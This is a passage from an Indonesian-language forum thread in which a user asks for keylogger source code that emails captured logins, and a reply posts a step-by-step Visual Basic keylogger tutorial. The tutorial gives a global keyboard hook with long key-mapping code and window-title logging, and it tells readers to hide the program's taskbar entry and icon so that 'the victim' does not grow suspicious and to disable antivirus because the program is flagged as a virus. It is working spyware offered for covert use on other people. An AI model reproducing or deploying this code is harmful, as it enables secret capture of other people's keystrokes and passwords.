TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "<" ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "_" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "{" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "}" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "|" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ":" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & ">" ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "~" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & Label1.Text End If End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If strin <> GetActiveWindowTitle() Then TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine strin = GetActiveWindowTitle() End If End Sub End Class klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini 6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug, Hilangkan centangan pada tulisan Enable the Visual Studio hosting processuntuk lebih jelasnya,lihat gambar berikut : SS langkah 1 : [You must be registered and logged in to see this image.]SS langkah 2 : [You must be registered and logged in to see this image.]7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja 7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini : [You must be registered and logged in to see this image.]jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All. Credit's : RieqyNS13 | |
| | | bad rank Moderator
Jumlah posting : 489 Join date : 2011-08-24 Age : 29 Lokasi : Dalam Kehancuran...
| Subject: Re: [ask] Keylogger Fri Nov 18, 2011 4:07 pm | |
| - Ryan San Rakagi wrote:
- cleon wrote:
- all mau nanya nih,
ada yg punya tutor buat keylogger gk?? ato minta source kodenya keylogger yang kalo ada yg login hasil loginnya kekirim lewat email ada yg punya gk?? pengen buat nih... plss ato keyloggernya aja juga boleh dech,.. jangan lupa kasi tau tutor nya juga ya
neh gan
kebetulan ane msh ada source bikin keylogger
silahkan di coba
membuat keylogger sendiri pasti seru ,karena bisa dibuat untuk menjaili teman,kaya' ngerekam tulisan apa aja yg diketik...
komponen VB 2010 :
1) 1 Timer 2) 1 TextBox 3) 2 Label
========= Aplikasi ini terdeteksi sebagai virus,jadi antivirusnya di disable dulu 1) Susun dan ganti Nama komponen diatas seperti gambar dibawah ini : [You must be registered and logged in to see this image.]
1.5) Klik 1 kali pada Form1 ,dan kemudian pada kotak Properties(pojok kanan bawah) cari tabel ShowInTaskBar,dan ganti menjadi False. lihat gambar berikut : [You must be registered and logged in to see this image.]
2) Klik 1 kali lagi pada Form1 dan pada kotak Properties(pojok kanan bawah) cari tabel ShowIcon,dan ganti menjadi False. gunanya untuk menyembunyikan icon pada saat keylogging dibuka,agar si korban tidak curiga [You must be registered and logged in to see this image.] 3) Setelah itu,klik 2 kali pada Form1 atau tekan F7,dan km akan liat scripts kaya gini : - Code:
-
Public Class Form1
End Class 4) Scripts kaya diatas kita hapus semua,maka tampilan pengcodean akan kosong berwarna putih persih
5) Setelah scripts kaya diatas dah dihapus semua,masukkan scripts berikut : - Code:
-
Public Class Form1 Public Class KeyboardHook Private Const HC_ACTION As Integer = 0 Private Const WH_KEYBOARD_LL As Integer = 13 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scancode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure
Private Declare Function SetWindowsHookEx Lib "user32" _ Alias "SetWindowsHookExA" _ (ByVal idHook As Integer, _ ByVal lpfn As KeyboardProcDelegate, _ ByVal hmod As Integer, _ ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" _ (ByVal hHook As Integer, _ ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib "user32" _ (ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _ (ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc) KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys)) End Select End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam) End Function Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook) MyBase.Finalize() End Sub End Class Private WithEvents kbHook As New KeyboardHook Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Dim strin As String = Nothing Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Sub shiftandcaps(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "a" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "b" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "c" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "d" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "e" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "f" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "g" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "h" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "i" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "j" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "k" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "l" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "m" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "n" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "o" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "p" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "r" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "s" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "t" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "u" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "v" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "w" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "x" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then TextBox1.Text = TextBox1.Text & "F" ElseIf Key = Keys.G Then TextBox1.Text = TextBox1.Text & "G" ElseIf Key = Keys.H Then TextBox1.Text = TextBox1.Text & "H" ElseIf Key = Keys.I Then TextBox1.Text = TextBox1.Text & "I" ElseIf Key = Keys.J Then TextBox1.Text = TextBox1.Text & "J" ElseIf Key = Keys.K Then TextBox1.Text = TextBox1.Text & "K" ElseIf Key = Keys.L Then TextBox1.Text = TextBox1.Text & "L" ElseIf Key = Keys.M Then TextBox1.Text = TextBox1.Text & "M" ElseIf Key = Keys.N Then TextBox1.Text = TextBox1.Text & "N" ElseIf Key = Keys.O Then TextBox1.Text = TextBox1.Text & "O" ElseIf Key = Keys.P Then TextBox1.Text = TextBox1.Text & "P" ElseIf Key = Keys.Q Then TextBox1.Text = TextBox1.Text & "Q" ElseIf Key = Keys.R Then TextBox1.Text = TextBox1.Text & "R" ElseIf Key = Keys.S Then TextBox1.Text = TextBox1.Text & "S" ElseIf Key = Keys.T Then TextBox1.Text = TextBox1.Text & "T" ElseIf Key = Keys.U Then TextBox1.Text = TextBox1.Text & "U" ElseIf Key = Keys.V Then TextBox1.Text = TextBox1.Text & "V" ElseIf Key = Keys.W Then TextBox1.Text = TextBox1.Text & "W" ElseIf Key = Keys.X Then TextBox1.Text = TextBox1.Text & "X" ElseIf Key = Keys.Y Then TextBox1.Text = TextBox1.Text & "Y" ElseIf Key = Keys.Z Then TextBox1.Text = TextBox1.Text & "Z" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.D1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.NumPad0 Then TextBox1.Text = TextBox1.Text & "0" ElseIf Key = Keys.NumPad1 Then TextBox1.Text = TextBox1.Text & "1" ElseIf Key = Keys.NumPad2 Then TextBox1.Text = TextBox1.Text & "2" ElseIf Key = Keys.NumPad3 Then TextBox1.Text = TextBox1.Text & "3" ElseIf Key = Keys.NumPad4 Then TextBox1.Text = TextBox1.Text & "4" ElseIf Key = Keys.NumPad5 Then TextBox1.Text = TextBox1.Text & "5" ElseIf Key = Keys.NumPad6 Then TextBox1.Text = TextBox1.Text & "6" ElseIf Key = Keys.NumPad7 Then TextBox1.Text = TextBox1.Text & "7" ElseIf Key = Keys.NumPad8 Then TextBox1.Text = TextBox1.Text & "8" ElseIf Key = Keys.NumPad9 Then TextBox1.Text = TextBox1.Text & "9" ElseIf Key = Keys.Oemcomma Then TextBox1.Text = TextBox1.Text & "," ElseIf Key = Keys.OemMinus Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.OemQuotes Then TextBox1.Text = TextBox1.Text & "'" ElseIf Key = Keys.OemOpenBrackets Then TextBox1.Text = TextBox1.Text & "[" ElseIf Key = Keys.OemCloseBrackets Then TextBox1.Text = TextBox1.Text & "]" ElseIf Key = Keys.OemQuestion Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.OemPipe Then TextBox1.Text = TextBox1.Text & "\" ElseIf Key = Keys.Oem1 Then TextBox1.Text = TextBox1.Text & ";" ElseIf Key = Keys.OemPeriod Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Oemtilde Then TextBox1.Text = TextBox1.Text & "`" ElseIf Key = Keys.Space Then TextBox1.Text = TextBox1.Text & " " ElseIf Key = Keys.Enter Then TextBox1.Text = TextBox1.Text & vbNewLine ElseIf Key = Keys.F1 Then TextBox1.Text = TextBox1.Text & "[F1]" ElseIf Key = Keys.F2 Then TextBox1.Text = TextBox1.Text & "[F2]" ElseIf Key = Keys.F3 Then TextBox1.Text = TextBox1.Text & "[F3]" ElseIf Key = Keys.F4 Then TextBox1.Text = TextBox1.Text & "[F4]" ElseIf Key = Keys.F5 Then TextBox1.Text = TextBox1.Text & "[F5]" ElseIf Key = Keys.F6 Then TextBox1.Text = TextBox1.Text & "[F6]" ElseIf Key = Keys.F7 Then TextBox1.Text = TextBox1.Text & "[F7]" ElseIf Key = Keys.F8 Then TextBox1.Text = TextBox1.Text & "[F8]" ElseIf Key = Keys.F9 Then TextBox1.Text = TextBox1.Text & "[F9]" ElseIf Key = Keys.F10 Then TextBox1.Text = TextBox1.Text & "[F10]" ElseIf Key = Keys.F11 Then TextBox1.Text = TextBox1.Text & "[F11]" ElseIf Key = Keys.F12 Then TextBox1.Text = TextBox1.Text & "[F12]" ElseIf Key = Keys.Delete Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Back Then TextBox1.Text = TextBox1.Text & "[DEL]" ElseIf Key = Keys.Down Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Up Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Left Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Right Then TextBox1.Text = TextBox1.Text & "?" ElseIf Key = Keys.Tab Then TextBox1.Text = TextBox1.Text & "[TAB]" ElseIf Key = Keys.End Then TextBox1.Text = TextBox1.Text & "[END]" ElseIf Key = Keys.Escape Then TextBox1.Text = TextBox1.Text & "[ESC]" ElseIf Key = Keys.Divide Then TextBox1.Text = TextBox1.Text & "/" ElseIf Key = Keys.Decimal Then TextBox1.Text = TextBox1.Text & "." ElseIf Key = Keys.Subtract Then TextBox1.Text = TextBox1.Text & "-" ElseIf Key = Keys.Add Then TextBox1.Text = TextBox1.Text & "+" ElseIf Key = Keys.Multiply Then TextBox1.Text = TextBox1.Text & "*" End If ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then If Key = Keys.D1 Then TextBox1.Text = TextBox1.Text + "!" ElseIf Key = Keys.D2 Then TextBox1.Text = TextBox1.Text + "@" ElseIf Key = Keys.D3 Then TextBox1.Text = TextBox1.Text + "#" ElseIf Key = Keys.D4 Then TextBox1.Text = TextBox1.Text + "$" ElseIf Key = Keys.D5 Then TextBox1.Text = TextBox1.Text + "%" ElseIf Key = Keys.D6 Then TextBox1.Text = TextBox1.Text + "^" ElseIf Key = Keys.D7 Then TextBox1.Text = TextBox1.Text + "&" ElseIf Key = Keys.D8 Then TextBox1.Text = TextBox1.Text + "*" ElseIf Key = Keys.D9 Then TextBox1.Text = TextBox1.Text + "(" ElseIf Key = Keys.D0 Then TextBox1.Text = TextBox1.Text + ")" ElseIf Key = Keys.A Then TextBox1.Text = TextBox1.Text & "A" ElseIf Key = Keys.B Then TextBox1.Text = TextBox1.Text & "B" ElseIf Key = Keys.C Then TextBox1.Text = TextBox1.Text & "C" ElseIf Key = Keys.D Then TextBox1.Text = TextBox1.Text & "D" ElseIf Key = Keys.E Then TextBox1.Text = TextBox1.Text & "E" ElseIf Key = Keys.F Then 